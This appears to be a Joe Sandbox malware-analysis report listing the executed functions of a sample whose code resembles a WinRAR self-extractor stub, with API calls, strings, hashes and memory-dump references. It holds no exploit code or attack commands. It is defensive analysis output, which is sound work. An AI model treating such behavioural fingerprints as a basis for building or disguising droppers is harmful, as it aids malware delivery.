Total number of Nodes:	1485
Total number of Limit Nodes:	24

Executed Functions

Function 00B7C131 Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 199
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B6F353: GetModuleHandleW.KERNEL32 ref: 00B6F36B
Part of subcall function 00B6F353: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00B6F383
Part of subcall function 00B6F353: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00B6F3A6

Part of subcall function 00B78B8E: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00B78B96

Part of subcall function 00B79036: OleInitialize.OLE32(00000000), ref: 00B7904F
Part of subcall function 00B79036: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00B79086
Part of subcall function 00B79036: SHGetMalloc.SHELL32(00BA20E8), ref: 00B79090

Part of subcall function 00B70722: GetCPInfo.KERNEL32(00000000,?), ref: 00B70733
Part of subcall function 00B70722: IsDBCSLeadByte.KERNEL32(00000000), ref: 00B70747

GetCommandLineW.KERNEL32 ref: 00B7C179
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00B7C1A0
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00B7C1B1
UnmapViewOfFile.KERNEL32(00000000), ref: 00B7C1EB

Part of subcall function 00B7BE0A: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00B7BE20
Part of subcall function 00B7BE0A: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00B7BE5C

CloseHandle.KERNEL32(00000000), ref: 00B7C1F4
GetModuleFileNameW.KERNEL32(00000000,00BB7938,00000800), ref: 00B7C20F
SetEnvironmentVariableW.KERNEL32(sfxname,00BB7938), ref: 00B7C221
GetLocalTime.KERNEL32(?), ref: 00B7C228
_swprintf.LIBCMT ref: 00B7C267
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00B7C279
GetModuleHandleW.KERNEL32(00000000), ref: 00B7C27C
LoadIconW.USER32(00000000,00000064), ref: 00B7C293
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_00019B4F,00000000), ref: 00B7C2E4
Sleep.KERNEL32(?), ref: 00B7C312
DeleteObject.GDI32 ref: 00B7C351
DeleteObject.GDI32(?), ref: 00B7C35D

Part of subcall function 00B7A8D4: CharUpperW.USER32(?,?,?,?,00001000), ref: 00B7A92C
Part of subcall function 00B7A8D4: CharUpperW.USER32(?,?,?,?,?,00001000), ref: 00B7A953

CloseHandle.KERNEL32 ref: 00B7C39C

Strings

winrarsfxmappingfile.tmp, xrefs: 00B7C194
STARTDLG, xrefs: 00B7C2D9
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00B7C258
sfxname, xrefs: 00B7C21C
sfxstime, xrefs: 00B7C274

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCharCloseDeleteObjectProcUpperView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 985665271-3710569615
Opcode ID: 4214158f41409d545a9caefabbfd374cbb232765aa26c364b0c0150f62eb00cc
Instruction ID: 02c5be38490cd839584b440d77509f7163796bb09be40f4f26da6967bf996e91
Opcode Fuzzy Hash: 4214158f41409d545a9caefabbfd374cbb232765aa26c364b0c0150f62eb00cc
Instruction Fuzzy Hash: 9561C871904214AFD720AB65ED46F773BE8EB49700F0484AEF558A3261DF788D04C7A1

Function 00B78BD0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 92
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNELBASE(00000066,PNG,?,?,00B79AC8,00000066), ref: 00B78BE1
SizeofResource.KERNEL32(00000000,75295780,?,?,00B79AC8,00000066), ref: 00B78BF9
LoadResource.KERNEL32(00000000,?,?,00B79AC8,00000066), ref: 00B78C0C
LockResource.KERNEL32(00000000,?,?,00B79AC8,00000066), ref: 00B78C17
GlobalAlloc.KERNELBASE(00000002,00000000,00000000,?,?,?,00B79AC8,00000066), ref: 00B78C35
GlobalLock.KERNEL32(00000000), ref: 00B78C42
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00B78C62
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00B78C9D
GlobalUnlock.KERNEL32(00000000), ref: 00B78CB2
GlobalFree.KERNEL32(00000000), ref: 00B78CB9

Strings

PNG, xrefs: 00B78BD2

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
String ID: PNG
API String ID: 3656887471-364855578
Opcode ID: 49617b84ed086f9c888f145398045465bd1cc801b414d74f07d8a0196596ce55
Instruction ID: 971a962544017f31955a1a1fabc5a3a174709385e5e22fc9bb311b8972430dd6
Opcode Fuzzy Hash: 49617b84ed086f9c888f145398045465bd1cc801b414d74f07d8a0196596ce55
Instruction Fuzzy Hash: 6E218F71642616AFC7229F35DE4D92BBFE8EF85790B00846EF859D7260DF31C8008AB1

Function 00B6A273 Relevance: 7.6, APIs: 5, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00B6A16E,000000FF,?,?), ref: 00B6A2A8
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00B6A16E,000000FF,?,?), ref: 00B6A2DE
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00B6A16E,000000FF,?,?), ref: 00B6A2E6
FindNextFileW.KERNEL32(?,?,?,?,?,?,00B6A16E,000000FF,?,?), ref: 00B6A30E
GetLastError.KERNEL32(?,?,?,?,00B6A16E,000000FF,?,?), ref: 00B6A31A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: ba461264128a1d5aa98f6a5c237dd48ecca70a73ea30e50f7070f615732dec9f
Instruction ID: f96559e7890322cf786c41ec3ff66262015dda015ffbe4641138d58bfa665d05
Opcode Fuzzy Hash: ba461264128a1d5aa98f6a5c237dd48ecca70a73ea30e50f7070f615732dec9f
Instruction Fuzzy Hash: E7416371608245AFC724EF64C980ADAF7E8FF49350F004A6AF5E9E3240D734A9548F96

Function 00B84A5A Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00B84A30,?,00B97F68,0000000C,00B84B87,?,00000002,00000000), ref: 00B84A7B
TerminateProcess.KERNEL32(00000000,?,00B84A30,?,00B97F68,0000000C,00B84B87,?,00000002,00000000), ref: 00B84A82
ExitProcess.KERNEL32 ref: 00B84A94

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 702f6809a51538f2099a1e2a31d69cbecfe0cb14d9beeec202741c55446dfc8a
Instruction ID: 5aa1e3ffd0bbff164f53371a10bd1d97d6fa9165cdaa985b70a14ad9116e8f64
Opcode Fuzzy Hash: 702f6809a51538f2099a1e2a31d69cbecfe0cb14d9beeec202741c55446dfc8a
Instruction Fuzzy Hash: 0FE0B632091508AFCF15BF64DE09B893BAAEB51341F010455F8099B132CF35DD92CB94

Function 00B68409 Relevance: 3.9, APIs: 2, Instructions: 888COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B6840E
_memcmp.LIBVCRUNTIME ref: 00B68870

Part of subcall function 00B680F8: CharUpperW.USER32(?,?,00000000,?,?,?,?,?,?,?,00000800,?,00B686E9,?,-00000930,?), ref: 00B681BB

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CharH_prologUpper_memcmp
String ID:
API String ID: 4047935103-0
Opcode ID: 7a9759bb181ab90dc89ec5779dc476c445f1c264f0091d0475d730a9822dc2f9
Instruction ID: 70e3f851f7394b6cffaaf50358f53e269b9b6769ca4e760e20fed2de6c709dc8
Opcode Fuzzy Hash: 7a9759bb181ab90dc89ec5779dc476c445f1c264f0091d0475d730a9822dc2f9
Instruction Fuzzy Hash: 7F721870904185AEDF25DF64C885BF97BE9EF15300F0842F9ED599B182CF399A84CB60

Function 00B79B4F Relevance: 95.2, APIs: 46, Strings: 8, Instructions: 724COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B79B54

Part of subcall function 00B612E7: GetDlgItem.USER32(00000000,00003021), ref: 00B6132B
Part of subcall function 00B612E7: SetWindowTextW.USER32(00000000,00B902E4), ref: 00B61341

Strings

winrarsfxmappingfile.tmp, xrefs: 00B79F23
LICENSEDLG, xrefs: 00B7A3D4
STARTDLG, xrefs: 00B79B73
@, xrefs: 00B79F0E
-el -s2 "-d%s" "-sp%s", xrefs: 00B79EE8
__tmp_rar_sfx_access_check_%u, xrefs: 00B79E2E
<, xrefs: 00B79F01
"%s"%s, xrefs: 00B7A08A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-2803697902
Opcode ID: 3eeeb24c847e6193ce6fa7ed8fa3f85b440d0c111b3600d2214407c93f9f472b
Instruction ID: 64f2a5b08a2a7efab9c7809c92a82934284fcb035f7a8ad50619109fab2ffe03
Opcode Fuzzy Hash: 3eeeb24c847e6193ce6fa7ed8fa3f85b440d0c111b3600d2214407c93f9f472b
Instruction Fuzzy Hash: 9942E471A44204BFEB21AB649D4AFBE3BE8EB56700F0080D5F669B71D1DBB44D44CB62

Function 00B6F353 Relevance: 51.1, APIs: 22, Strings: 7, Instructions: 314
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00B6F36B
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00B6F383
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00B6F3A6
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00B6F651
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B6F669
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B6F67B
ReadFile.KERNEL32(00000000,?,00007FFE,00B90858,00000000), ref: 00B6F69A
CloseHandle.KERNEL32(00000000), ref: 00B6F6F2
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00B6F708
CompareStringW.KERNEL32(00000400,00001001,00B908A4,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 00B6F762
GetFileAttributesW.KERNELBASE(?,?,00B90870,00000800,?,00000000,?,00000800), ref: 00B6F78B
GetFileAttributesW.KERNEL32(?,?,00B90930,00000800), ref: 00B6F7C4

Part of subcall function 00B6F309: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00B6F324
Part of subcall function 00B6F309: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00B6DEC8,Crypt32.dll,?,00B6DF4A,?,00B6DF2E,?,?,?,?), ref: 00B6F346

_swprintf.LIBCMT ref: 00B6F834
_swprintf.LIBCMT ref: 00B6F880

Part of subcall function 00B63F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B63F6E

AllocConsole.KERNEL32 ref: 00B6F888
GetCurrentProcessId.KERNEL32 ref: 00B6F892
AttachConsole.KERNEL32(00000000), ref: 00B6F899
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00B6F8BF
WriteConsoleW.KERNEL32(00000000), ref: 00B6F8C6
Sleep.KERNEL32(00002710), ref: 00B6F8D1
FreeConsole.KERNEL32 ref: 00B6F8D7
ExitProcess.KERNEL32 ref: 00B6F8DF

Strings

SetDllDirectoryW, xrefs: 00B6F37D
dwmapi.dll, xrefs: 00B6F40E, 00B6F7F7
kernel32, xrefs: 00B6F361
SetDefaultDllDirectories, xrefs: 00B6F3A0
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00B6F86E
DXGIDebug.dll, xrefs: 00B6F3E3, 00B6F74E
uxtheme.dll, xrefs: 00B6F801

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1201351596-3298887752
Opcode ID: 4d70c84cd4fadab99363a5306afebd283a40682b1b1cb11f609731daa7cf532d
Instruction ID: 8ffcd7aba4490a16ea73e430b9446b97c020adf335f1bb68c566c87911419f10
Opcode Fuzzy Hash: 4d70c84cd4fadab99363a5306afebd283a40682b1b1cb11f609731daa7cf532d
Instruction Fuzzy Hash: C3D173B21283859FDB30FF60D849BAFB6E8EF85304F5049BDE58897150CBB49548CB66

Function 00B7AA45 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 438
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00B7AA4A

Part of subcall function 00B796EC: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00B797B4

SetFileAttributesW.KERNEL32(?,00000005,?,?,?,00000800,?,?,00000000,00000001,00B7A35D,?,00000000), ref: 00B7AB7F
GetFileAttributesW.KERNEL32(?), ref: 00B7AC39
DeleteFileW.KERNEL32(?), ref: 00B7AC47
SetWindowTextW.USER32(?,?), ref: 00B7AD90
_wcsrchr.LIBVCRUNTIME ref: 00B7AF1A
GetDlgItem.USER32(?,00000066), ref: 00B7AF55
SetWindowTextW.USER32(00000000,?), ref: 00B7AF65
SendMessageW.USER32(00000000,00000143,00000000,00BA412A), ref: 00B7AF79
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00B7AFA2

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00B7AE39
<br>, xrefs: 00B7ACF3
ProgramFilesDir, xrefs: 00B7AE64
%s.%d.tmp, xrefs: 00B7AC5F

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: File$AttributesMessageSendTextWindow$DeleteEnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3676479488-312220925
Opcode ID: ae1650f18d6936b752a19cfa5e0d15aa653d91bbac5b8095d6b348eedb066026
Instruction ID: 68bf265ba117e49f14902030f4bd7c876a1c2176b8c28335a086b4540121791c
Opcode Fuzzy Hash: ae1650f18d6936b752a19cfa5e0d15aa653d91bbac5b8095d6b348eedb066026
Instruction Fuzzy Hash: B5E14E72900119AAEF21ABA0DD85EEE73FCEB45350F1080E6F529E7151EE749B84CF61

Function 00B6CED7 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B6C88E: _wcschr.LIBVCRUNTIME ref: 00B6C8BD

GetWindowRect.USER32(?,?), ref: 00B6CF0E
GetClientRect.USER32(?,?), ref: 00B6CF1A
GetWindowLongW.USER32(?,000000F0), ref: 00B6CFBB
GetWindowRect.USER32(?,?), ref: 00B6CFE8
GetWindowTextW.USER32(?,?,00000400), ref: 00B6D007
SetWindowTextW.USER32(?,?), ref: 00B6D02E
GetSystemMetrics.USER32(00000008), ref: 00B6D036
GetWindow.USER32(?,00000005), ref: 00B6D041
GetWindowTextW.USER32(00000000,?,00000400), ref: 00B6D06C
SetWindowTextW.USER32(00000000,00000000), ref: 00B6D099
GetWindowRect.USER32(00000000,?), ref: 00B6D0AC
GetWindow.USER32(00000000,00000002), ref: 00B6D11E

Strings

d, xrefs: 00B6CF3A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Window$RectText$ClientLongMetricsSystem_wcschr
String ID: d
API String ID: 4134264131-2564639436
Opcode ID: 4803c1aaa106f1d27025393f30c3dbaf4bb164164c44f3958c6e7d6e68d3e004
Instruction ID: 1ee869977e0edaa21c7cb0a58e883883dda877225efd8128d7271b3f1e45bce3
Opcode Fuzzy Hash: 4803c1aaa106f1d27025393f30c3dbaf4bb164164c44f3958c6e7d6e68d3e004
Instruction Fuzzy Hash: 76617F72208341AFD711DF68CD89E6BBBEAFBC9714F04451EF68493290CA74E905CB92

Function 00B7B70E Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 96
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(00000068,00BB8958), ref: 00B7B71D
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,?,?,?,?,?,?,00B79325), ref: 00B7B748
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00B7B757
SendMessageW.USER32(00000000,000000C2,00000000,00B902E4), ref: 00B7B761
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00B7B777
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00B7B78D
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00B7B7CD
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00B7B7D7
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00B7B7E6
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00B7B809
SendMessageW.USER32(00000000,000000C2,00000000,00B91368), ref: 00B7B814

Strings

\, xrefs: 00B7B77D

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: MessageSend$ItemShowWindow
String ID: \
API String ID: 1207805008-2967466578
Opcode ID: c93ee33fceed671bb12ba5809e137058bdf1b7057ee861ac0e5863a57be6ad7d
Instruction ID: 5020382538224702f1d72e69b621ede83be334a8be2341db66216d956a3ec54c
Opcode Fuzzy Hash: c93ee33fceed671bb12ba5809e137058bdf1b7057ee861ac0e5863a57be6ad7d
Instruction Fuzzy Hash: 5021F8712857447BE311EB289C46FAB7EDCEF82754F000519FA50971D0DBA559088AA7

Function 00B7B9AA Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(000001C0), ref: 00B7BAD8
ShowWindow.USER32(?,00000000,?,?,?,?,?,?,?), ref: 00B7BB1D
GetExitCodeProcess.KERNEL32(?,?), ref: 00B7BB55
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B7BB7B
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?), ref: 00B7BC0A

Part of subcall function 00B70B12: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00B6AC49,?,?,?,00B6ABF8,?,-00000002,?,00000000,?), ref: 00B70B28

Strings

.exe, xrefs: 00B7BB85
, xrefs: 00B7BA2A
.inf, xrefs: 00B7BA94

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $.exe$.inf
API String ID: 3686203788-2452507128
Opcode ID: 70ec6c73fbdc6fc6ab75d1331c9ac83a1a1d7238e29ff9a2c7ca985dbdf32ea0
Instruction ID: ffd7e14406c73196ded5c11736a13c22f3284b17a6e374f712c621f97f211963
Opcode Fuzzy Hash: 70ec6c73fbdc6fc6ab75d1331c9ac83a1a1d7238e29ff9a2c7ca985dbdf32ea0
Instruction Fuzzy Hash: 8D51C1715093809ADB31AF20C941FBBB7E9EF85704F04889DF8E993255EBB19944CF52

Function 00B6CACC Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00B6CAD1
_wcschr.LIBVCRUNTIME ref: 00B6CAEF
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00B6CAB3,?), ref: 00B6CB0A

Part of subcall function 00B706E9: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00B6B25B,00000000,?,?,?,?), ref: 00B70705

Strings

*messages***, xrefs: 00B6CBD6
R, xrefs: 00B6CC21
*messages***, xrefs: 00B6CC0F
a, xrefs: 00B6CC2B

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide_wcschr
String ID: *messages***$*messages***$R$a
API String ID: 803915177-2900423073
Opcode ID: 47a71bf7a0bf8709bb9eac468e1accc2f19e59440d582f3ceedf5ff5aa979101
